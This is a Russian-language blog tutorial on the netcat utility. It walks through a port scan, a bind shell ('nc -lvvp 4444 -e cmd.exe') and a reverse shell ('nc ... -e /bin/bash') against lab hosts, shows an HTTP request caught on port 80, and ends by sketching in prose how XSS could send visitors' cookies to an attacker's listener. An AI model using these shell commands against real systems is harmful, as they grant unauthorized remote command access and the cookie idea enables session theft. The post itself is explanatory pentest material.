Netcat: Примеры использования

Netcat – утилита Unix, позволяющая устанавливать соединения TCP и UDP,  принимать оттуда данные и передавать их. Несмотря на свою полезность и простоту, данная утилита не входит ни в какой стандарт.

Netcat является своего рода швейцарским ножом при работе с TCP/IP и в руках знающего человека является грозным и крайне полезным оружием.

В данной статье мы разберем использование данной утилиты на простых примерах, которые дадут нам понимание как, где и зачем можно использовать эту замечательную штуку под названием netcat.

Пример 1. Сканирование портов.

В ряде случаев нам может потребоваться просто и быстро просканировать порт удаленного хоста на возможность подключения. Конечно в интернете существует миллион приложений позволяющих выполнить данную задачу. Тем не менее если под рукой оказался netcat, почему бы им не воспользоваться? Давайте просканируем удаленный хост на наличие открытого порта 22 (ssh). На удаленном хосте я заранее запустил сервис ssh(/etc/init.d/ssh start).  Итак, даем следующую команду:

C:\Users\lp13>nc -v 192.168.13.168 22

192.168.13.168: inverse host lookup failed: h_errno 11004: NO_DATA

(UNKNOWN) [192.168.13.168] 22 (ssh) open

SSH-2.0-OpenSSH_6.0p1 Debian-4

Результат говорит нам, что порт 22 на удаленном хосте открыт. Более того, мы так же получили информацию о том, что за приложение висит на данном порте и на какой ОС работает.

Пример 2.а Удаленное администрирование (Прямое подключение).

В данном примере есть компьютер А и компьютер с которого мы будем осуществлять подключение Б. На компьютере А мы даем команду слушать всех, кто будет подключаться по порту 4444 и отдать в управление cmd.exe тому, кто попробует подключиться. Выглядит это следующим образом.

C:\Users\lp13>nc -lvvp 4444 -e cmd.exe

listening on [any] 4444 ...

С компьютера Б инициируем подключение к хосту А.

root@KALI:~# nc -v 192.168.12.97 4444
it-61.ion.ru [192.168.12.97] 4444 (?) open
Microsoft Windows [Version 6.1.7601]
(c) ��௮���������������(Microsoft Corp.), 2009. ����ࠢ�����饭�.

C:\Users\lp13>

Как видите мы подключились и сразу получили доступ в командную строку компьютера А.

Если набрать к примеру notepad, то на компьютере А откроется блокнот, если набрать ipconfig, то мы увидим сетевые настройки и т.д. В общем можно чувствовать себя как дома, т.к. командная строка пользователя под нашим управлением.

Пример 2.б Удаленное администрирование (Обратное подключение).

В предыдущем примеры мы рассмотрели простой вариант, когда оба компьютера находятся в рамках одной сети и прекрасно видят друг друга. А теперь представим, что мы сидим за компьютером Б и у нас прямой ip адрес в интернете, а компьютер А (на который нужно зайти) находятся за NAT-ом. У нас уже так просто не получится набрать его ip адрес и подключиться. Для этого существует так называемый reverse shell. Смысл в том, что наш компьютер Б будет находиться в ожидании подключения, а компьютер А (за NAT-ом) будет инициировать подключение к себе самостоятельно. Давайте перейдем к практике и все сразу станет ясно.

На компьютере Б запускаем netcat на ожидание подключения по порту 4444

C:\Users\lp13>nc -lvvp 4444

listening on [any] 4444 ...

На компьютере А, который находится за NAT-ом говорим подключаться к компьютеру Б и отдать ему /bin/bash. Выглядит это примерно следующим образом

root@Kali:~#nc–v192.168.12.97 4444 –e/bin/bash

it-test.test.ru[192.168.12.97] 4444 (?) open

Теперь возвращаемся на компьютер Б и видим, что было открыто соединение. Предлагаю заодно посмотреть текущую директорию на хосте А:

C:\Users\lp13>nc -lvvp 4444

listeningon[any] 4444 ...

connectto[192.168.12.97] fromKALI[192.168.13.168] 33251

pwd

/root

Пример 3. Слушаем

Последний пример, который будет приведен в данной статье.  Давайте на одном из хоcтов запустим netcat слушать подключения по 80-му порту.

root@KALI:~#nc –lvvp 80

listening on [any] 80 …

Теперь попробуем обратиться на этот хост через браузер, набрав в адресной строке

http://192.168.13.168/test

Давайте посмотрим что произошло.

root@KALI:~# nc -lvvp 80
listening on [any] 80 ...
connect to [192.168.13.168] from it-test [192.168.12.97] 3152
GET /test HTTP/1.1
Host: 192.168.13.168
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:26.0) Gecko/20100101 Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive

Наш компьютер принял подключение на 80-й порт и принял HTTP запрос, из которого легко можно определить с какого браузера было произведено обращение, а так же какая ОС использовалась. Такая информация может быть полезна в случае если мы тестируем систему на уязвимость. Полученные данные помогают сузить круг возможных уязвимостей, говоря нам какую ОС и браузер использует клиент.

Так же должен сказать, что такой метод может быть использован при краже чужих cookie. Допустим мы нашли сайт, уязвимый к атаке XSS(Cross Site Scripting) и встраиваем туда код, который будет говорить всем посетителям обращаться на наш ip адрес и передавать значение cookie. Когда какой-нибудь посетитель уязвимого web ресурса зайдет на страничку, его компьютер отправит параметры cookie нам.  Дальше уже дело техники.

Источник


Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Этот сайт использует Akismet для борьбы со спамом. Узнайте, как обрабатываются ваши данные комментариев.

Unlix © Все права защищены 2023

Копирование материалов с сайта Unlix.ru без указания полной ссылки на источник ЗАПРЕЩЕНО!